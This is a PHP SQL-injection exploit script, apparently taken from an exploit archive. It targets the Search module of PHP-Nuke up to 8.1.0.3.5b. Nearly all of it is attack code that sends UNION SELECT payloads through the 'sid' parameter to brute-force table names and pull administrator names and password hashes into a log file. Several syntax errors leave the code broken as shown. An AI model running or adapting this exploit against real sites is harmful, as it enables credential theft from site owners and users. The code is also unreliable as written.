<?
/*          Vis Intelligendi
        http.//vis-intelligendi.co.cc
     PHP-Nuke <= 8.1.0.3.5b (Search 'sid') Remote SQL Injection Exploit
    bug details and explanation on http://vis-intelligendi.co.cc (search php-nuke)
     bytheway there are so many bugs in the Search module ( check author etc ).
 
    
    This script will first brute users' table name (if you want) and second will extract all users data from the db
    (or only one user, if you specify the ID) 
     
 
usage php phpnuke_exploit.php host path [uid]
 
!! TESTED !! WE DON'T SUBMIT EXPLOITS WITHOUT VERIFYING THEM
 
 
/* GENERAL CONFIGURATION */
$table = "nuke_authors";  #  THIS MAYBE CHANGES FROM SITE TO SITE, usually users,e_xoops_users, sam_users
$brute_table = FALSE; # IF THE EXPLOIT DOES not work first time, probably the reason is the table name, so set this to TRUE and the exploit will brute the table name if mysql version >= 5
                      # this may take some minutes..
/* EXPLOIT */            
error_reporting(0);
ini_set("default_socket_timeout",30);
set_time_limit(0);
function http_send($host, $packet)
{
 
        $sock = fsockopen($host, 80); $c = 0;
        while (!$sock)
        {
            if ($c++ == 10) die();
            print "\n[-] No response from ".$host.":80 Trying again...";
            $sock = fsockopen($host,80);
            sleep(1);
        }
        fputs($sock, $packet);
        $resp = "";
        while (!feof($sock)) $resp .= fread($sock, 1);
        fclose($sock);
        return $resp;
 
}
function getContent($resp) {
         
        $data = explode("\r\n\r\n", $resp);
        $content="";
     
        for ($i=1; $i<count($data); $i++)
            $content .= $data[$i];
        return $content;
 
}
function makePacket($page, $sql, $host) {
 
    $packet = "POST ".$page" HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\r\n";
    $packet .= "Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $packet .= "Connection: close\r\n";
    $packet .= "query=Vis+Intelligendi&topic=&category=0&author=&days=0&type=comments&sid=$sql\r\n"
    
    return $packet;
 
    }
     
$s = "0x5649535f494e54454c4c4947454e4449";
$string = "VIS_INTELLIGENDI";
 
echo <<<SPLASH
---------------------------------------------------------------------
    Vis Intelligendi
http://vis-intelligendi.co.cc

PHP-Nuke <= 8.1.0.3.5b (Search 'sid') Remote SQL Injection Exploit
-User,pass,uid extraction exploit
 
usage:
    php exploit.php host path [user_id]*
     
    php exploit.php www.site.com /phpnuke/ 1       {without /modules/ dir}
   
     
* If not specified, the exploit will extract all users from the database.
---------------------------------------------------------------------
 
SPLASH;
     
    $host = $argv[1];
    $path = $argv[2];
    $uid = $argv[3];
    $users = "";
    if ($host && $path) {
     $path .= "modules.php?name=Search";
      
        if ($brute_table) {
          
            print "Table brute set ON. Trying to find the table.. this may take some minutes (note: works only with information_schema viewable)\n";
            $sql = "-1'+union\n+select+concat($s,table_name,0x3a,$s)+from+information_schema.tables+limit+[N],1";
            $k = 0;
            $reg = array();
            $tables = array();
            $ex = str_replace("[N]", $k, $sql);
            $txt = getContent(http_send($host,makePacket($path,$ex,$host)));
            $regx = "$string(.+)\:$string";
            while(ereg($regx,$txt,$reg)) {
                $k++;
                $tables[] = $reg[1];
                print $reg[1]."\n";
                $regz = array();
                if (eregi("(.+)users$",$reg[1],$regz)) {
                    $table = $reg[1];
                }
                $ex = str_replace("[N]", $k, $sql);
                $txt = getContent(http_send($host,makePacket($path,$ex,$host)));
            }
        }
     
        print "\n\n [] Table = $table\n\n";
        if (!$uid) {
        $sql = "-1'+UNION--\n+SELECT+CONCAT_WS($s,aid,0x3a,name,0x3a,pwd,$s)+from+$table+limit+[N],1"; 
        } else {
            $sql = "-1'+UNION--\n+SELECT+CONCAT_WS($s,aid,0x3a,name,0x3a,pwd,$s),0+from+$table+where+aid=$uid+limit+[N],1";
        }
        $regs = array();
        $regex = $string."(.+)".$string;
        $n = 0;
        $ex = str_replace("[N]", $n, $sql);
        $pck = makePacket($path,$ex,$host);
        $resp = http_send($host,$pck);
        $txt = getContent($resp);
        while(ereg($regex,$txt,$regs)) {
            $users .= $regs[1]."\n";
            print $regs[1]."\n";
            $n++;
            $pck = makePacket($path,str_replace("[N]",$n,$sql),$host);
            $resp = http_send($host,$pck);
            $txt = getContent($resp);
        }
    $write =    "\n\nVis Intelligendi".
                "\n PHP-Nuke <= 8.1.0.3.5b (Search 'sid') Remote SQL Injection Exploit\n".
                "http://vis-intelligendi.co.cc\n".
                "Host : $host\n".
                "Path : $path\n".
                "http://$host$path\n\n".
                "table: $table\n\n".$users."\n\n Vis Intelligendi Magia";
                 
                    fwrite(fopen("phpnuke_log.txt","w+"),$write);
    print "Check phpnuke_log.txt";
    }
    
// S.Fresta leim.
    ?>